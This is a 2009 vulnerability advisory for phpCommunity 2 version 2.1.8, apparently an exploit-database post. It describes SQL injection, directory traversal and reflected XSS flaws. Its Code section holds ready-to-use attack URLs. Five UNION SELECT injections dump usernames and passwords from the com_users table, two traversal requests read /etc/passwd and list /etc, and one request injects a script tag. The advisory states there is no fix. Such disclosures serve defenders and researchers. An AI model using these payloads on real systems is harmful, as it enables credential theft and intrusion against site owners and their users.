phpCommunity 2 2.1.8 Multiple Vulnerabilities (SQL Injection / Directory Traversal / XSS)

******* Salvatore "drosophila" Fresta *******

[+] Application: phpCommunity 2
[+] Version: 2.1.8
[+] Website: http://sourceforge.net/projects/phpcommunity2/

[+] Bugs: [A] Multiple SQL Injection
[B] Directory Traversal
[C] Reflected XSS

[+] Exploitation: Remote
[+] Date: 07 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

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[+] Menu

1) Bugs
2) Code
3) Fix

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[+] Bugs

This web application presents several vulnerabilities
which can be exploited to obtain reserved information.
The following are examples of vulnerabilities
discovered in this application.

• [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: module/forum/class_forum.php
module/forum/class_search.php

This bug allows a guest to view username and
password of a registered user.

• [B] Directory Traversal

[-] Requisites: none
[-] File affected: module/admin/files/show_file.php,
module/admin/files/show_source.php

This bug allows a guest to read arbitrary files and
directory on the web server.

• [C] Reflected XSS

[-] Requisites: none
[-] File affected: templates/1/login.php

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[+] Code

• [A] Multiple SQL Injection

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1'
UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM
com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1'
UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM
com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25"
UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25"
UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25"
UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23

• [B] Directory Traversal

http://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd

http://www.site.com/path/module/admin/files/show_source.php?path=/etc

• [C] Reflected XSS

http://www.site.com/path/templates/1/login.php?msg=<script>alert('XSS');</script>

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[+] Fix

No fix.

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–
Salvatore "drosophila" Fresta
CWNP444351